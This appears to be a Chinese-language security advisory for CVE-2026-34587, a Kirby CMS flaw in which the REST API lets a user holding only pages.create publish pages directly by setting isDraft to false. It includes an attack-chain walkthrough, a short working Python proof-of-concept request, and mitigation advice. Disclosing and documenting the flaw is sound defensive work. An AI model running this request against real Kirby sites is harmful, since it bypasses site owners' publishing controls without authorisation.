IPBUF安全漏洞报告
English
CVE-2026-34587 CVSS 8.1 高危

CVE-2026-34587 Kirby CMS 权限绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-34587
漏洞类型
权限绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kirby CMS

相关标签

权限绕过Kirby CMSCVE-2026-34587访问控制失效REST API

漏洞概述

Kirby CMS 在 4.9.0 和 5.4.0 之前的版本中存在权限绕过漏洞。该漏洞源于 REST API 允许在创建页面时覆盖 `isDraft` 标志,且未正确校验 `pages.changeStatus` 权限。拥有 `pages.create` 权限的经过身份验证的攻击者,可以通过 API 直接创建已发布的页面,从而绕过正常的工作流限制,造成高完整性影响。

技术细节

漏洞的核心在于 Kirby CMS 在处理页面创建时的权限校验逻辑存在缺陷。系统在设计上通过 `pages.create` 和 `pages.changeStatus` 两个独立权限来控制内容发布流程,但在 REST API 实现中,这两个权限的关联性检查被绕过了。具体而言,当通过 Panel 创建页面时,系统强制生成草稿,发布时校验 `changeStatus`。但通过 REST API 创建时,请求参数允许直接覆盖 `isDraft` 标志。受影响的版本仅验证了请求者是否具备 `pages.create` 权限,而忽略了当 `isDraft` 被设为 false 时实际上发生了状态变更,因此未校验 `pages.changeStatus`。这使得仅具备基础创建权限的认证攻击者,能够利用 API 接口直接发布未经审核的页面,破坏了内容管理的完整性和工作流规范。

攻击链分析

STEP 1
侦察与认证
攻击者获取目标 Kirby CMS 系统的访问权限,并拥有一个具有 `pages.create` 权限但无 `pages.changeStatus` 权限的有效账户凭证。
STEP 2
分析接口
攻击者分析 Kirby 的 REST API,发现创建页面接口允许传入 `isDraft` 参数来控制页面初始状态。
STEP 3
构造恶意请求
攻击者构造一个 POST 请求,向页面创建端点发送数据,特意将 `isDraft` 参数设置为 `false`。
STEP 4
执行权限绕过
服务器端仅检查了 `pages.create` 权限,忽略了状态变更所需的权限检查,直接处理请求并将页面状态设为已发布。
STEP 5
达成影响
攻击者成功绕过了内容审核流程,直接发布了未经授权的内容,破坏了系统的完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "https://example.com/api/pages" SESSION_COOKIE = "kirby_session=attacker_stolen_token_here" # HTTP Headers headers = { "Content-Type": "application/json", "Cookie": SESSION_COOKIE } # Exploit Payload: Creating a page with 'isDraft' set to false # This bypasses the 'pages.changeStatus' permission check payload = { "title": "Unauthorized Published Page", "slug": "exploit-page", "template": "article", "content": "This content was published without 'changeStatus' permission.", "isDraft": False # The key parameter that triggers the vulnerability } try: # Send the exploit request via REST API response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Page published directly.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

Kirby CMS < 4.9.0
Kirby CMS < 5.4.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用受影响用户角色的 REST API 写入权限,或者通过 Web 应用防火墙(WAF)拦截包含 `isDraft: false` 的页面创建请求,以阻断利用链路。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表